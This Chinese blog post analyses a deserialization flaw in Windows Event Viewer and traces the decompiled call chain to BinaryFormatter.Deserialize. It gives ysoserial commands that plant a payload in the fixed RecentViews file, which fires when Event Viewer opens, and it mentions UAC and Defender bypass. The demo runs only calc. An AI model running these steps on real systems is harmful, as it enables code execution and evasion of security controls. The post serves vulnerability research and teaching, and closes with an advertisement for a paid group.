4月26日@Orange Tsai 在Twitter上发表一个有关Windows事件查看器的反序列化漏洞,可以用来绕过Windows Defender或者ByPass UAC等其它攻击场景,Orange视频里也给出了攻击载荷 DataSet?
ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews |
@Orange Tsai 给出的ysoserial DataSet载荷因为笔者复现未成功,所以替换用TypeConfuseDelegate作为攻击载荷,%LOCALAPPDATA% 等同于 C:\Users\用户名\AppData\Local 目录,Eventv~1 代表目录名前6个字符 Eventv开头的第1个目录,其实可指定为本地的 Event Viewer文件夹,文件名一定得是固定的RecentViews,至于为什么可以看后续的原理分析,ysoserial 生成攻击载荷命令如下,有个小小的建议:可以先打开一次事件查看器,便于操作系统创建EventViewer目录,否则执行ysoserial命令会抛出 "系统找不到路径"错误
ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews |
打开事件查看器或者输入命令行均可触发漏洞,如下图所示
cmd/c eventvwr.msc | |
cmd/c eventvwr.exe |
ProcessHack打开后,运行eventvwr.exe,选择mmc.exe进程后右击选择 ”属性“,标签页.NET程序集可见下图所示
笔者从EventViewer事件查看器核心代码入手,至于它继承的父类FormView及祖类View不再跟进,EventViewerHomePage类是主入口,实现了祖类View里的虚方法OnInitialize,这过程中对EventHomeControl做了初始化的安排,this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI); 这句表示 EventHomeControl在构造方法里实现对可视化窗口的数据读取更新操作
public EventHomeControl() | |
{ | |
this.InitializeComponent(); | |
UIControlProcessing.SetControlSystemFont(this); | |
UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font); | |
this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI); | |
this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl); | |
} |
this.UpdateUI方法对可视化操作选项做了多重判断,有更新事件列表、有更新日志摘要、有更新事件列表当前对应的进程信息、还有我们重点关注的case 1 更新最近访问浏览的信息,进入UpdateRecentViewsUI 条件分支
UpdateRecentViewsUI方法调用了UpdateRecentViewsListViewUI,并且将属性 RecentViewsDataArrayList的值传递给此方法,RecentViewsDataArrayList属于EventsNode类的成员,数据来源自LoadDataForRecentView执行后的结果,这里是将EventsNode.recentViewsDataArrayList的值赋给了RecentViewsDataArrayList属性。
internal ArrayList RecentViewsDataArrayList | |
{ | |
get | |
{ | |
this.LoadDataForRecentViews(); | |
return EventsNode.recentViewsDataArrayList; | |
} | |
} |
LoadDataForRecentView方法再调用LoadMostRecentViewsDataFromFile,读取 EventsNode.recentViewsFile 流后用 BinaryFormatter().Deserialize(fileStream) 去反序列化,再将集合赋给 recentViewsDataArrayList,这样正常情况下EventsNode.RecentViewsDataArrayList就获取到了最近浏览的数据。
private void LoadMostRecentViewsDataFromFile() | |
{ | |
try | |
{ | |
if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)) | |
{ | |
FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open); | |
object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot; | |
lock (syncRoot) | |
{ | |
EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream); | |
} | |
fileStream.Close(); | |
} | |
}catch (FileNotFoundException){} | |
} |
再来细看下EventsNode.recentViewsFile,整个定义在EventsNode类构造方法里分了3步,笔者个人觉得有些罗里吧嗦的,第1步Environment.SpecialFolder.CommonApplicationData 在Windows系统里表示 "C:\Users\用户名\AppData\Roaming", StandardStringValues.MicrosoftFolderName,StandardStringValues类自定义多个静态变量,如MicrosoftFolderName代表"Microsoft", LIN_EventViewer 代表 " Event Viewer ";第2步又将 CommonApplicationData 替换成 LocalApplicationData,LocalApplicationData 代表 " C:\Users\用户名\AppData\Local ";第3步将前两步和“RecentViews”串起来,最终得到 recentViewsFile = ”C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews“,所以笔者在上小节复现的时候提到RecentViews文件名是固定的不能改。
如上图 ysoserial 生成攻击载荷写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,打开事件查看器即可触发漏洞。
整体的调用链如下,文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。本文首发于 公众号 dotNet安全矩阵 :干货 | 最新Windows事件查看器.NET反序列化漏洞分析
-> View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托) | |
-> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList | |
-> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize |
?欢迎大伙持续关注,交流。
为了帮助研发大佬们熟悉和掌握.NET应用安全相关的漏洞介绍和修复解决方案,我们创建了一个.NET应用安全建设的星球,专门科普.NET领域相关的安全漏洞和提供漏洞修复方法,星球部分主题如下图所示。
感兴趣的研发大佬们可以加入我们一起学习交流。星球原价¥99,价格随着内容沉淀和成员数量增加还会适当提高,因此越早加入越好。我们为大家准备了星球门票代金券,大家可以自行领取,可立减20元。期待更多伙伴的加入!
另外如果对.NET安全攻防技术研究和渗透感兴趣的朋友们,可以扫下面的dot.Net安全矩阵星球二维码,加入我们。